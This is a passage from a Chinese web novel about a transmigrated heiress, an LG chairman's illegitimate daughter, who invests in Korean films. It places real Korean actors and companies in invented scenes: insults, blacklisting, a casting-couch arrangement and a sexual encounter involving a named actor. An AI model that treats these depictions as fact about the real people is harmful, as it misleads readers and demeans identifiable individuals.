头。「世界不会变吧？穿越的后遗症你要给我消除。」 「放心。」 话音一转，她听到耳边有一个熟悉的声音，好像不久前才听到过，揉了揉耳朵。 “小姐，这边。”尹灿在前面带路，宋玉妍忙着接收记忆。 现在是2014年，她和上一个攻略对象，进度还在友情以上恋人未满的状态。同时事业发展也是高歌猛进，作为投资方，这三年来的项目，足够让她赚得盆满钵满。 甚至CJ为了分一个电影的投资额度，还主动给她转让了一部分股份。 看着满身的奢侈品牌、养护良好皮肤状态，宋玉妍才确信，这段时间“她”过得还算不错。 “莫？”接收的记忆太过庞大，让她一时间没有反应过来。 “小姐nim，社长约了你吃饭。”尹灿有些无奈，不知道她是真的不记得了还是在戏弄他。 宋玉妍看着这似曾相识的餐厅，如果没有记错了的话，她几个小时前才在这里结束用餐。 等到了具官烨的私人包厢，她发现里面的装潢和四年前一模一样。具社长点好的菜品，从餐前酒、前菜到主食，也都和之前一模一样。 她的嘴角忍不住抽搐了一下，明明是最薄情的财阀，偏偏装出一幅专心又长情的模样。 “你先吃点东西吧！”说完他一边用叉子卷起意面，然后分割成刚好一口的大小放进勺子。这样可以最大程度保证礼仪的优雅。 宋玉妍就没有那么多顾虑了，她自己也算是个富婆，不用靠着对方的零花钱过活，面上是装都不太想装。 她故意用叉子直接卷起意面，直接递到唇边。有些长的面条她一边咬，一边嗦出声。 这样的做派看得具官烨眉头皱成川字型，面上一幅极力忍耐的表情。能让他露出这样的表情，不得不压下怒火的人不多。 但是对上宋玉妍那张，和他初恋情人相似的面容，怒火莫名其妙地消散了。 吃了两口，宋玉妍感觉自己的身体还是饱的，就停下了手中的动作，专心致志地开始玩手机。 “你和那个男演员的事情我就不说了，你自己心里有数就行。作为我的女儿，你只要一点：永远不要用你自己的资源、人脉去帮一个男人功成名就。” 具官烨这番话可谓是苦心孤诣，作为男人，他还不了解男人吗？薄情寡义、成功之后抛却旧人，这都是男人做得出来的。 三星那位长公主就是前车之鉴！ “之前听说你帮那个金什么秀的，运作了一个青龙新人奖项，我也就不说什么了。这种男艺人你玩玩就好，真的要结婚还是要找尹灿这种，家世清白、自身优秀、成长背景单纯的。” 宋玉妍当然知道，他说出的这些话是在为她着想，当下没有反驳。而是放下手机，抬起头来，朝他甜甜一笑。 这一笑让两人之间的气氛好了不少，看起来像是真正的父女一般。 “我知道了，父亲！”像是觉得这个称呼有些太官方了，宋玉妍又解释了一句。“我知道的，图爱情都会一败涂地，只有讲利益才能把世宗大王牢牢握在手里。” 听到她这样说，具官烨还是松了口气，仔细地端详着宋玉妍的相貌，想要借她去追忆某位故人。 “这是LG百分之二的股份，我私人收购的，现在转让给你。”具官烨拿出早就准备好的文件，做到他这份上，自认为问心无愧了。 “这是什么意思？”宋玉妍倒是没有如他所愿，直接拿过文件签了。“你这是想要用百分之二的股份，买断我们之间的关系吗？” 具官烨听到这话哭笑不得，看着对面的女儿，他移了几个位置，坐到她的旁边。伸出手放在她的头顶，揉了揉，顺滑的手感不错。除了刚出生时抱过她一次，这还是父女间少有的亲昵举动。 “怎么会呢，不管怎么样你都是我的女儿。遇到什么事情你和尹灿说，我会是你的后盾。” 宋玉妍知道这份微薄的爱意，掺杂这对她已逝生母的愧疚。并且还是有前置条件的，不能损伤他的利益。 “你能自己创立投资公司，拿下CJ的股份，就说明有打理好这些股份的能力。拿到这一份，LG也会是你的后盾。”具官烨有些欣慰，到底还是他的女儿，就连对商业的敏锐性都和他如出一辙。 有股份的私生女和私生女之间的差别很大，有些正儿八经的婚生女持有的股份都不会有宋玉妍多。具官烨知道只要她遵循圈内的规则，对外再怎么样，都能轻易解决。 “谢谢。”说完之后宋玉妍签了字就走了。 25岁是正好的年纪，她有权有钱有颜，在圈子里多玩玩不过分吧！从具社长这里离开，转身下楼开着跑车去了一个私人会所。 等停好车之后，会所门口，她创立的KM投资公司的公关部长凑了过来。 “代表nim，听说你准备投资《局内人》和《暗杀》这两个本子，忠武路演员今天都来了一半。” 他在上一家公司就职的时候，小成本剧本往这些人手上递都是杳无音信。这次堪比青龙电影节的星光，让他与有荣焉。 车利勋朝这位幕后老板讨好地笑了笑，之前这些局宋玉妍向来是不参加的。从选角到和制作组接洽，她全部都丢给了公司社长。 最多就在内部提一嘴，她那位中央大学的学长外形和某个角色很适配。想到这，他嘴角忍不住撇了撇，谁不知道那位进入忠武路的入场券——《隐秘而伟大》的男主，是他家老板给的。 “嗯。” 宋玉妍随手把车钥匙抛给他，“你去让门童把车停好，买束花放里面。车子要散味，但车窗不要给我打开了……” 车利勋听到这一连串的刁钻要求，忍不住有些头大。这位老板还是一如既往地难搞。 等他把老板吩咐的事情做好，回到固定的包厢时，发现里面的气氛不对。 宋玉妍没有坐在中心位，而是在一个有些偏的角落沙发上。长长的商务沙发，现在只有她一个人，看似漫不经心地摇晃着手里的香槟杯。但是不是动一下的嘴唇，暴露出她不耐烦的心情。 李正宰、郑宇盛、孔浏、姜东元、李炳宪……忠武路有名有姓的男演员都来了。 他垂着头、弯着腰，带着谄媚的笑容挤过人群。“代表nim，是哪里不满意吗？” 下一秒，刚从冰桶里拿出来，才到出来的香槟，整杯泼在他脸上。 “你就拿这些货色来敷衍我吗？忠武路就没有年轻帅气的了吗？”她的声音不大，但是在安静的室内显得格外清晰。 车利勋被这番话震惊倒吸了一口凉气，但是宋玉妍没有善罢甘休。 “长成李炳宪那样，居然还能让他喝我的唐培里侬。车利勋，你是慈善部门的吗？公关部部长不想干了？” 另一端的李炳宪听到这话，脸色瞬间就沉了下来。双手的手指放在胸前，贴在一起。他旁边的姜东元拍了拍他的肩膀，朝他做了个LG的嘴型。 宋玉妍是LG集团的私生女这都不是什么秘密，不然CJ的股份是那么好拿的？ 她抱着胸，姿态慵懒地扫过孔浏，有《熔炉》的滤镜在这里，被她的嘴放了一马。至于郑宇盛和李正宰，这两张脸都看习惯了，但这次不想看了。 “以后你攒局，30岁以上，一米八以下的，不许来。” 说完宋玉妍施施然地走了，想到刚刚一进门，她是年龄最小的那个，心里的这口气就堵着。 忠武路喜欢报团玩，把年轻演员排斥在外，她偏偏要打破这份规则。这群老男人占据好的影视资源也占据太久了，也该给观众换换新鲜感了。 留在室内的车利勋脸色不好看，看了周围一眼，看起来确实更像是忠武路中生代的内部聚会。 想着宋玉妍开出远超行业内水平的薪资，他咬了咬牙，抹了脸上的酒液一把。 手指不断地翻着资料库，第一时间就把柳俊列的给删除了，再 把这种推上去，下次老板不一定这样好说话了。 看到兔子一样长相的任时丸和清俊气质的丁海寅，都是88年的，才展露头角。看到两人的身高都不达要求，又犯难了。 忠武路的颜值派真的太少了，难怪老板发火。他把这两位的资料小心翼翼地给老板推送过去，想了想还是加上了赵寅城。 第142章 第一百四十二章 宋玉妍看到发来的这三位，只觉得比之前的“歪瓜裂枣”要好。手指不自觉地在赵寅城的脸蛋上停留了一会，光看外形，他是三人当中最突出的。 高挺的鼻梁和利落的下颌线，标准的美男长相，就是眼睛和大部分韩男一样，小了一点。但是瑕不掩瑜，宋玉妍露出一点感兴趣的表情。 她当时一进门，里面那群中年男人抽着烟，室内烟雾缭绕，像是在自己的局上一样自在，就觉得满心不爽。现在看到赵寅城他们的照片，也算是洗了洗之前眼睛里的油腻。 「最近有时间一起吃顿饭吗？」 看到之前攻略对象发来的消息，她没有心思回。难得没有固定任务，她自然也不会和他绑在一起。之前和他接触，是给攻略任务面子。 「你最近有空吗？据说赵寅城的《没关系，是爱情啊》在播出，要不要一起去探个班？」给她发消息的这位是宋玉妍名义上的堂姐。 她的父亲原本是具社长的堂哥，后面具社长上位，把人纳入心腹圈子。现在在集团担任副社长的职位，是左膀右臂般的存在，她跟着具社长也见过几次。 「去探班？」 对面的具熙愫看着原本空白的对话框只有短短的三个符号，尽力压下内心的难受。LG家的女儿在南韩财阀圈的日子并不好过，基本上就是作为联姻工具的存在，集团的事物插不上手，更别说能继承股份了。 她很羡慕宋玉妍，就算是私生女又怎么样？有一个为她打算的父亲，和她交好是为了以后生活，也是具熙愫家里的想法。 「你不是有CJ的股份吗？刚好这部剧是CJ投资的，我还想近距离看看南韩四大公共财产呢！」 对于普通人来说遥不可及的明星，对于她们来说想见面不过是一句话的事情而已。宋玉妍怎么会不知道这是托辞？但她没有拒绝，哪有把送上门的人脉往外推的道理。 探班的这天，具熙愫很有眼色地早早来宋玉妍家门口等着来，就连开车时她都主动打开驾驶位。 “没事，我刚离婚在家是个闲人，堂妹你万一有工作要处理呢？在副驾驶更好处理！” 听到她这样说，宋玉妍也毫不客气地打开了副驾驶的门，似笑非笑地睨来她一眼。“具熙愫xi这是什么话，说得你好像是我的跟班一样。” 具熙愫脸上略带谄媚的笑容凝固来一瞬，随后尴尬地笑了两声。“听说现在流行送什么应援咖啡车？我弄好了，保证赵寅城的帅气脸蛋能够被人看到，还在私人蛋糕房定制了甜点。” 没有管这些，宋玉妍靠着头枕在闭目养神。“一个艺人而已，这么上心？” 真是难伺候，具熙愫有些后悔上赶着来讨好她了，喜怒不定、性格难以捉摸。但想到自己刚离婚，父亲对她的丢脸行径颇有微词，要是不能证明自己的价值，她很快会被家族边缘化。 “说实话，赵寅城不值得我费这么大心力，主要是看在堂妹你的面子上。” 这话倒是说得好听，让宋玉妍漂亮的脸蛋微微勾起了嘴角。 到了剧组后，导演早就在片场等着了。宋玉妍一看，像是还没有开工，脸色有些不好看。 CJ也有她的股份，现在多少也算得上是一个小股东了，对方这样的做法，损失的不就是她投资的钱？ “这位是赵寅城，我们的男主，长相完全帅气，演技又好。”导演拉着人，小心翼翼地介绍道。 穿着西服的赵寅城脸上带着官方的笑容，看不出情绪，仿佛他是一个花瓶。 宋玉妍没有握上导演伸出来的手，而是把目光看向其他的地方。 随后定格对面男人的脸上，他真人不上相，身高和脸蛋都是她的菜。 导演只能讪讪地收回，手这一行女投资人不多。前CJ也有女股东，每次来片场都兴师动众、前呼后拥的。他自然以为宋玉妍也是这样。 看着格外整洁的片场，电线整整齐齐地摆放在地上，不远处的大灯按照大小摆好，就连场务身上的衣服都是干干净净的。宋玉妍忍不住嘴角一抽，给具熙愫使了个眼色。 具熙愫很有眼色地帮她拎包，“你们忙去吧！剧组开工每天都在烧钱，别搞这些有的没的。”语气不自觉带出出生优渥，独属于权贵阶层的颐指气使。 “那就让赵寅城带你们逛逛，据说还给他送了应援咖啡车。不愧是国民男神，魅力就是大。”这位导演的语气带着狎呢，让宋玉妍和赵寅城都不舒服地皱了皱眉头。 就算有点什么想法，那也是她个人的私事，轮不到他来打趣，这个男人太把自己当回事了。 看到自家堂妹——未来的靠山，觉得被冒犯、心底不舒服了，具熙愫当仁不让地把他叫到一旁，用敬语搭配着冰冷的语气“训斥”着。 她见过她父亲对待下属的态度，当下也没有给这个导演留面子。 导演等具熙愫说完，弯腰鞠躬道歉后，立刻招呼其他配角开工，然后转身，脸上的笑容逐渐消失。 具熙愫很有眼色，给这两人留出了很大的空间，完全忘记了之前说来探班的理由是，她喜欢赵寅城。 宋玉妍跟着对方参观，一路上的天气也不算太好，室外的景色干巴巴的，旁边男人的介绍也是干巴巴的。这让她很快就打消了心底的那一丝想法，无趣的性格真的是糟蹋的这样好的相貌。 “那边是我的休息室了。”赵寅城很少面对这种年轻的、漂亮的女性上位者，一时间不知道该拿出什么样的态度和他相处。 宋玉妍只觉得没意思，抱着胸淡淡道：“到时候应援车的认证照发一下，然后给具熙愫签个名。” 说完就想结束这趟无聊的行程，只觉得自己是疯了。 赵寅城的经纪人从休息室里出来，倒是很有眼色。“要不宋玉妍xi您进来休息一下？喝喝咖啡？” 她的视线从赵寅城的黑色皮鞋往上扫，定制的深灰色西装裤确实是很适合他。听到对方经纪人的声音，眼神冷漠，又似笑非笑地看了过去。 “还是算了吧，有的人可能并不欢迎我，一路上惜字如金，进去喝咖啡也只会越喝越困。” 说完就打算走了。 具熙愫此时恨铁不成钢。“这些男艺人还真是……以为混进忠武路就能万事大吉了吗？” 一边说一边看着宋玉妍的脸色，看她没有什么反应，反而更加大胆了一点。“干脆以后CJ这边有什么好的本子，别往他公司递了。LG的合作也别考虑了，反正人家清高着呢。” 宋玉妍听到这话，觉得这个名义上的堂姐很合她心意，当下就真切地笑了起来。“我是那种仗势欺人的人吗？工作是工作，生活是生活，分开一点。” “是是是。” “不过你看这位，木头美人一样，像是能挑大梁的样子吗？”她和具熙愫笑骂了一句，言下之意就是有好的本子，当然不会考虑这位。 赵寅城的演技不足以让忠武路破例，在她这也是一样。 赵寅城的经纪人听到这句，脸当下就白了。这言下之意不就是软封杀？每年那么多新鲜的血液想往圈子里面挤，能在演艺圈有一席之地的，都很不容易。 “宋小姐nim，晚上有时间吗？导演说攒个局，请您这位投资人代表吃个饭？”林盛俊挤出笑容，邀请道。 宋玉妍只是把墨镜往脸上一戴，瞟了一样默不作声像个哑巴一样的男演员，嗤笑了一声。 林盛俊咬了咬牙，打了个电话给导演让他把人留下，不然一切都完了。 然后他把赵寅城拉进休息室，苦口婆心地劝道：“人家年轻貌美，你又不吃亏。手里随便露出的一点资源，都能让你再上一个台阶了。你看看金秀闲，比你进圈晚，靠着宋玉妍已经拿下多少资源，青龙最佳新人奖也拿到了人家一步一个脚印，在忠武路混得风生水起，你现在《霜花店》扑了，还在小银幕打转。” 听到这话赵寅城的神色终于绷不住了，“圈内人都说我演戏没有天赋，大不了我回去继续当模特。” “你想得轻松，模特除非你能挤进四大时装周，不然在人眼里就是和网红一个档次。”林盛俊觉得自家艺人有的时候天真到好笑。“你以为别人对你尊敬，去各种活动，其他的演员、爱豆主动来和你打招呼，是因为你是赵寅城？或者是因为你是前辈？谁不是冲着你忠武路演员的名头？” 说道这里，赵寅城想到自己之前做模特时候的待遇，语气也不自觉地带上了一丝妥协。 “那该怎么做？” “晚上……”经纪人早就安排好了，但是还是压低声音，在他耳边嘱咐了一顿。 “我知道了。” 晚上宋玉妍姗姗来迟，明明剧组收工比较晚，但她还是迟到了差不多一个小时。 她一进来，下午见过她的人就发现，她已经换了一身衣服，像是刚从某一个正式的酒会上下来。 璀璨的星光吊带裙包裹着姣好的身躯，莹润的皮肤和裙摆上的碎钻一起在发着光。 她对这种打量的目光很不适应，脸色瞬间冷了下来，漫不经心地拨了拨头发。 “我没有来迟吧？” 在场的男人像是意识到，这位也是南韩经济大动脉——财阀家族的一员，还是实权级别的人物，不是可供他们赏玩的对象。当下连忙收回那些粘黏的、滑腻的视线。 “没有没有，我们也才刚收工。”导演连忙打着圆场，让宋玉妍做到正中间的位置，形成一幅众星捧月的姿态。 宋玉妍的右手边是导演，左手边是赵寅城。具熙愫坐到导演手边，有一搭没一搭和他聊着演艺圈里的内幕。 剧组聚餐默认都是年龄最小的人承担着烤肉任务。但是没有人敢指使90年生的宋玉妍，纷纷让服务生多拿几个烤夹，自己动手。 旁边的赵寅城像是想开了，主动开始献殷勤，显示帮忙倒了烧酒，然后又是烤肉。烤完肉之后把小菜都放在宋玉妍手边，她随手就能拿到。 这段时间具社长经常找她吃饭，每次都是聊LG的一些事情，几乎是手把手在教她。饮食清淡让宋玉妍的胃变得脆弱，吃了几块烤肉，觉得太油腻了，就放下了筷子。 “是不合口味吗？”赵寅城从小到大想要讨好一个人，几乎都是无往不利的，虽然大部分都是因为他这张得天独厚的脸蛋。 偏偏宋玉妍的审美阈值被提高了不少，不吃这套。“不是，晚上不应该吃这么多。”淡淡地说完，她有些烦躁地把头发再次撩到肩后。 这件裙子好看是好看，但是亮片、钉珠、刺绣，这些很容易勾住头发丝，一勾住就容易打结。 一顿饭吃下来，让她是烦不胜烦。没胃口加上麻烦，宋玉妍干脆就没了大动作，安安静静地捧着杯子，小口小口地啜饮着蜜桃味的烧酒。 在座的也没有没眼色男人非要来灌她酒，就连导演想要敬一杯，都被宋玉妍抿一小口敷衍过去了。她看着自己的指尖，灯光下细腻的皮肤是被无数金钱耗养出来，只觉得权力是真的好东西。 “我带了皮筋，帮你扎一下头发吧！”赵寅城从手腕上撸下一个浅粉色的皮筋，朝宋玉妍那边递了递。 “嗯。”她撩起肩后的头发，好几缕被缠在衣服上了。 他倒是好脾气，一点一点地解开，不胜其烦地绕圈，手指无意间碰到微热的肌肤上。呼吸慢慢变沉了，视线稍稍往下，还能看到皮肉秾艳、被匀称几分包裹着的精致蝴蝶骨。 “好了。”扎完之后，赵寅城有些心虚垂下视线。放下手，碰到左边西裤的口袋时，手指像是被烫了一下，指尖跳起来蹦开。 又不自觉地被她侧脸吸引。肩颈线条优越，像是浪漫派画家最细腻的笔触勾勒而成。精致的眉眼透着一股被巨额财富供养，所有外在物质得到满足的倦怠感。 经纪人说得不错，他也不算吃亏。赵寅城左手紧紧攥住，想到等会要做的事情，还是止不住的紧张。 桌上是剧组工作人员的推杯换盏、言笑晏晏，桌下宋玉妍的裸露的小腿不小心碰到了他的西裤。他的心脏也跟着擦了一下。 经纪人说得对，他在忠武路根基不深，又和宋承宪闹掰。圈内已经有隐隐约约，把他排斥在外的做法了。 然后像是下定了什么决心一样，主动贴了上去，两人小腿之间的温度只隔着薄薄一层的布料。 他不着痕迹地把卡片从左手换到右手，重重地吸一口气。看到宋玉妍在桌下看手机消息，把卡片塞进她的手里。 对于他的主动，让宋玉妍诧异地抬头看了他一眼，他经纪人这么厉害？ 把房卡和手机都塞进手包里之后，她准备去吸烟室抽根烟。虽然就在餐桌上抽也没有人会有意见，但宋玉妍看到还有女性员工在，想想还是算了。 看到她提前走了，赵寅城摸不准她的想法，连忙起身跟了过去。他的腿很长，在走廊的开头就追上了。 “宋玉妍xi！”他选了一个没有那么疏离的称呼。 “莫？” “我去房间等你。”说完这句话，他的耳根红了。这样的事情到底不算光彩，声音不自觉地压低了很多。 宋玉妍面上倒是安之若素，一下一下地把玩着包包链条上的金球。“你是自愿的吗？强扭的瓜不甜，这种事情你情我愿才好。” 不要到时候一脸心不甘情不愿的样子，兴致都没了。 第143章 第一百四十三章 站在窗户前的女人嘴唇嫣红，冷淡地掀起眼皮，像是一副活色生香的画。赵寅城像是有些被蛊惑了，最难开口的话都已经出口了，其他的也就顺理成章。 “不是被强迫的。”他轻笑了一声，调整了自己的面部表情，知道优势所在，声线有些低沉黏糊。“宋玉妍xi应该对自己的魅力有些自信。” 旁边的酒店并不远，在门口时侯，赵寅城把口罩戴上，头垂得低低的。 “你放心好了，没有我的允许，你是不会被见报的。”宋玉妍倒是一如既往，丝毫没有在乎不远处的闪光灯。 就算听到了这话，男人也没有拉下脸上的口罩。如果不是足够小心，他也混不到现在。就算这次宋玉妍能够帮忙拦截，谁知道后续会不会用这个把柄来拿捏他。 到了房间后，一切都顺理成章，定制的星光裙和灰色西装散落在地上。床头的落地灯下是交缠的身体，昏黄的灯晕和低哑的呻吟交织在一起。 原本已经意乱情迷的男人像是感受到了什么，眼眸里划过一丝清醒。 “你是？第一次？”因为震惊，他的动作都放缓了一瞬。 宋玉妍倒是保持着固定的节奏，面上一片清明。乌发铺满洁白的床单，微微抬起下颌时，带着丝打趣的意味。 “这么磨蹭，是因为过了25了吗？” 赵寅城当下不说话了，只埋头苦干。 第二天宋玉妍醒来，看着陌生的环境，还有些没有反应过来，窗外的午光散落在透明的窗纱上，金黄色的光斑煞是好看。 原本躺在身边的男人起身，坐在落地窗边的沙发上，手指在烟盒上敲击着，桌上的手机因为接受消息在不断地震动。 她看了一眼穿着浴袍的赵寅城，宽松的系带只堪堪遮住身体，锻炼有痕迹的胸肌在他细微的动作下若隐若现。南韩的男演员大部分都很自律，在身材管理方面都没得话说。 欣赏似得看了几眼，就收回了视线，自顾自地露出大片洁白如玉的肌肤。宋玉妍捞起床头柜上的手机，给生活助理打电话。 “你在哪里？在附近？那好，你去给我买几条新裙子，然后洗干净烘干，喷上我常用的那款香水……然后送到酒店的顶层的房间来。” 对面的助理问了一句，是要偏商务还是偏休闲的风格。 宋玉妍：“对照尺码买，要舒服一点的着装。”她不想穿着隔夜的衣服，昨天来的仓促，忘记给助理交代这些了。 窗边的赵寅城维持着这样一个姿势很久都没有动，实际上比拍写真摆高难度的pose还要紧张，不自觉地露出自己更上镜的右脸。 看着宋玉妍像是什么都没有发生一般，把他当空气，独自在床上安排各种事情，他心下郁闷。 “我看着附近有一个商场，很近，需要我帮你去买吗？”他好不容易鼓起勇气，开口问道。想要给宋玉妍留下一个好印象，不知道到底是为了资源还是其他。 “不用了，你太客气了，这些是助理的工作。况且你也不知道我的 习惯。“宋玉妍疏离地笑了笑，好的气色让她看起来柔软了许多，不像是昨天那样淡漠地拒人于千里之外的样子。 赵寅城听到她的拒绝，心下松口气，然后心情又开始有些复杂。经纪人嘱咐要问出口的事情，现在怎么都开不了口。 不到一个小时，门口就传来门铃的声音。在看到宋玉妍想要裹着被子去开门时，他很有眼色先一步去开门，接过助理手中的袋子。心下不由地感叹不愧是为财阀服务的工作人员，那么多刁钻的要求，都能这么快做好。 “你先去忙其他的吧，盯着家政把我的住处打扫干净，完了之后，把抽屉里的合同送到CJ那边。今天各个品牌会送过来的衣服、珠宝，你按照场合分门别类地放好。” “内！” 生活助理很有分寸地没有往门内看，一直都是低着头的，赵寅城连她的正脸都没有看到。把袋子递给宋玉妍时，他有心想要拉近一点两人之间的距离。 “你的生活助理很不错，不知道能我不能把人挖过来。”这样话不多、有分寸的职员是真的有些难找，赵寅城也是有些羡慕。 但是宋玉妍从袋子里拿出充电器，把手机插上之后，专注地回消息，一时间没有听到他在说什么。 等换完衣服，从洗手间出来，她拿起耳环戴上、提起包打算走。赵寅城终于还是开了口，他的手捏了又松掉、松了又捏起来。 “宋玉妍xi！《局内人》的试镜我能去参加吗？”对于这个剧本，制作方没有给他递，但是圈内人大概都看过了，是个好饼。 在穿高跟鞋的宋玉妍装傻，“本子递到你手上，你该接就接，这些都听制作方的安排。” 听到这话，赵寅城只觉得又羞又怒，俊朗的面容都浮现出一抹薄粉，下颌线因为咬肌都绷地更紧了。如果不是为了资源，那昨天晚上算什么？ “昨晚……” “昨晚？昨晚你不是自愿的吗？”宋玉妍像是受到了侮辱一样，嫌弃地说道：“赵寅城xi，男人不能太物质了，难道你昨天晚上就没有爽到吗？” 这种倒打一耙的话术还真是让人觉得憋屈，他只觉得自己被抛弃的自尊像是被人捡起，放在地上反复摩擦。赵寅城之前也听说过，有些投资人睡了女演员、占了人家便宜后，翻脸不认人，这样的事情放在他身上，真的是…… 骇人听闻、石破天惊、让人难以接受！ 宋玉妍：“我以为你和圈内那些别有用心的人不一样的！”她的目光里满是复杂，“我以为你交友圈相对来说干净，和忠武路那群油腻的老男人不一样，结果你也是这一套，我太失望了！昨天晚上我以为我们之间是情投意合，一见钟情，结果居然是这样！而且你也找错人了，我向来是不插手选角事务的，专业的事情要交给专业的人来做。我不会让没有能力的人，拥有不属于他的资源，这样只会让我的投资打水漂。” 她输出完之后，提着稀有皮包包，怒气冲冲地走了，高跟鞋在地板上敲得掷地有声。等出门之后，才忍不住笑出声。 只留下赵寅成在背后目瞪口呆。刚刚她扫过来的视线，让人如芒在刺，像是要把人所剩无几的羞愧心烧穿。 想了想昨天晚上对方的卖力行径，她还是给尹灿打了个电话。“尹室长nim？” 对方一听到敬语，就觉得整个人都不好了，宋玉妍这样好的态度十有八九没有好事。“小姐nim。你对我可以不用敬语，受不起。” 听到尹灿这古板平静的声音，宋玉妍顿感无趣，一点逗起来的成就感都没有。清了清嗓子，让原本沙哑的声线听得更加清亮一点。 “那你叫我代表就好，毕竟是开过董事会的股东，要叫职位嘛！我们这季度推出的新款手机，签了代言人吗？” “人选你不是推荐过了吗？金秀闲因为《星你》大爆，在亚洲很有人气，董事会也觉得这位很合适。” “他不行，代言费太贵了，我也是集团的一份子，该为集团打算了！” 尹灿握着电话的手攥紧了，这位怎么想一出是一出？“您之前不是说他能帮忙开发市场潜力？” ” 咳咳咳，此一时彼一时嘛！我们LG手机的销售营业额你还不知道？在韩国完全比不过三星，不如换一个有性价比的代言人，省一点代言费。“理直气壮的语气，让宋玉妍听起来好像是真心实意地为集团打算。 “我们LG在东南亚的市场，还是很不错的好吗！”深受企业文化洗脑的尹灿，毫不犹豫地选择帮自家产品说话。 “不重要，我看代言人换成赵寅城就很不错，反正LG在韩国的市场份额比不过三星。东南亚市场不在乎代言人是谁，反正都一样。” “你和社长说。”尹灿第一次硬气地把电话挂断，他实在是受不了这位想一出是一出了。社长肯定能制止宋玉妍危险的想法，不会拿集团整体的利益过家家。 已经在个人工作室的宋玉妍讪讪地放下手机，她自知理亏，这次是真的把人给惹生气了。 但她已经有了说服具社长的理由，集团目前最核心的子公司还是LG电子，手机的销售并不好。那不如另辟蹊径，她打开电脑在标题上敲下：产业整合，全屋定制智能家居。 她挪用了未来的项目，把目标客户群体放在中产阶级身上，只要LG付出一点点研发成本，就能收获大把的营业额。 宋玉妍甚至都想好，这个概念一出来找谁拍广告片最好，南韩除了元斌，不会有比他更合适的了。等看了这几年集团内部的财报，她对说服具社长有了更多的把握。 才写到一半，电话那头就有人打来了。“宋玉妍xi，你不是说LG手机的新一季度代言人会是我吗。明明都已经口头约定了，为什么那边的态度突然就差了。” 听着电话那头男人的声音，她只觉得腻烦。“是吗？他们怎么能这样！” 宋玉妍闲适又无奈地吹了吹自己的指甲，“我现在打电话问问，集团的很多事情我也不懂，具社长只让我拿分红。” 把电话挂了之后，宋玉妍不由地感叹LG的动作还真是快，尹室长果然是个好人。等把计划书写完之后，她才回了个电话：“集团那边说你形象不符合，那我也没有办法了。” 第144章 第一百四十四章 把项目书拿给具社长的时侯，他还有些吃惊，记忆里这个女儿找他有正事的时侯几乎没有。给予股份也只是出于那微薄的父爱，怕宋玉妍胡乱混日子，把自己饿死。 本来只是玩笑性质的，但是在翻到第三页的时侯，具官烨屏住了呼吸。独属于商人的直觉告诉他，这一份项目书要是能落地，他们LG集团的市值恐怕要一路翻红。 “这种性质的项目你是怎么考虑到的？你大学学的不是表演系吗？”疑心病让他以为宋玉妍是以此想要插手集团事务，和三星家的长公主一样，一步步扩大影响力，然后准备争权夺位。 前车之鉴历历在目，这让他不得不防。 宋玉妍毫不客气地翻了个白眼，“家居能够定制，那为什么电不能？只要在目前已有的技术上加一个智能语音就好了，这么简单的道理，在我们这种家庭不是司空见惯的吗？你以为我想管吗？要不是因为你给我百分之二的股份，谁想管LG在三星的步步紧逼下，市场份额一步步被蚕食？” 把这份文件从具官烨的手中抽出来，“你别怀疑了，项目书我拿走，要是LG用了我的创意，我们最高院见！公司要是年年分红多一点，我能操这闲心？在演艺圈做投资人多好！每天被俊男靓女捧着，他们个个长得好看，说话又好听。” 具官烨看着办公桌对面的女儿，一阵无语，不知道她的性格是随了谁，一点耐性都没有。 “好歹投资超过千亿，我肯定要慎重一点，项目书我看过可行性很大，但还是要说服董事会的那些旁系。”信奉弱肉强食的人，就连夸奖都是干巴巴的。 “要是推进顺利，我再给你转百分之一的股份。”后面还是补了一句实际性的奖励。 “我其他的要求没有，智能定制家居的概念宣传片必须元斌来拍摄。其他的艺人要么丑、要么一股小家子气，和我高端、独特的智能轻生活概念一点都不搭。” 相对于对实验室的投资，请代言人的这笔钱不过是九牛一毛，具官烨稍微一考虑就同意了。 “那新款手机代言人换成赵寅城吧！他的形象不错。”宋玉妍像是随口一提，不强求。 听到这话他就不自觉地地笑了，尹灿已经把事情经过和他说过，女儿花心总比恋爱脑来得好。 道铣洞，围棋道馆，朴保剑刚从里面和 人下完指导棋出来，公司正在帮他争取一个很重要的角色。 剧里这位的棋力很厉害，据说是以石佛为原型，这个道馆原型那位也在这里下过。所以他想过来找找感觉。 一边挎起包往外走，一边回忆刚刚学到的知识，揣摩人物的心理特征。 远处的灌木上沾染了比米粒还小的水露，雨水像是丝线一点一点地斜在空中。朴保剑看到了一个只有一面之缘的人，浅蓝色的裙子和笔挺的仪态，让他几乎就确认了，但是那位站在炒年糕摊前。 不会是她，那位可是财阀，就算想要换换口味，也只会指派人过来买。但抱着万一的心态，朴保剑还是顶着黏黏糊糊的雨，往年糕摊前跑，恰好是和地铁站相反的方向。 等挪到宋玉妍旁边，看着她的侧脸，呼吸一滞在心底确认，确实是她！ “姨母，一份辣炒年糕。” 点完单之后，他拉着挎包的肩带，不断地拉长、缩短、拉长…… 终于还是鼓起勇气打招呼，“是宋代表nim吗？” “莫？你是？”宋玉妍侧过脸，从上到下扫视了他一番。发现是一个长相俊秀、气质偏乖巧温润的年下男后，视线柔和了一点。虽然不是她的菜，但好看的人在南韩就是能够受到更多优待。 “我是朴保剑，目前是车太铉所属社旗下的艺人！”他一边鞠躬90度，一边尽力地介绍自己，在演艺圈多认识一个投资人，就意味拿到资源的可能性更高。“之前客串过几部电影，现在只在电视剧发展。” 想到这里，他顺手从包里拿出制作过得演艺经历模板，掏出来给宋玉妍看。 看到周围没有人路过，姨母专心致志在制作食物。朴保剑咬咬唇，还是开口道：“如果方便的话，可以请你单独指点指点我的演技吗？” 语气在单独上加了重音。 宋玉妍有些哭笑不得，“我向来不管工作上的事情，不过你的这份模板我倒是可以收下。” 她向来欣赏会为自己主动争取机会的人。来这里是突发奇想，朴保剑能够抓住这次偶遇的机会，说明他还没有那么多心机。 宋玉妍悠悠地叹口气，对上他清澈的鹿眼，忽然自己年纪大了。 姨母以为朴保剑是在递情书，手上的动作越发细致、缓慢，想着应该给这份看起来纯粹的爱情多一点机会。这样的动作，收获到朴保剑感激的一枚眼神。 看到她拿着文件，没有包有些不方便。他细心地提议道：“需要我的挎包吗？放在包里可能回好一点。” “我从来不背2000万韩元以下的包。”宋玉妍饶有兴味地挑了挑眉，半是开玩笑地、半是认真地拒绝道。属于富家女的骄纵、目中无人显示地淋漓尽致。 这样啊，他有些尴尬地笑笑，挠了挠头，一副清纯男大的模样，让人很有好感。 “你来这里是干什么？” 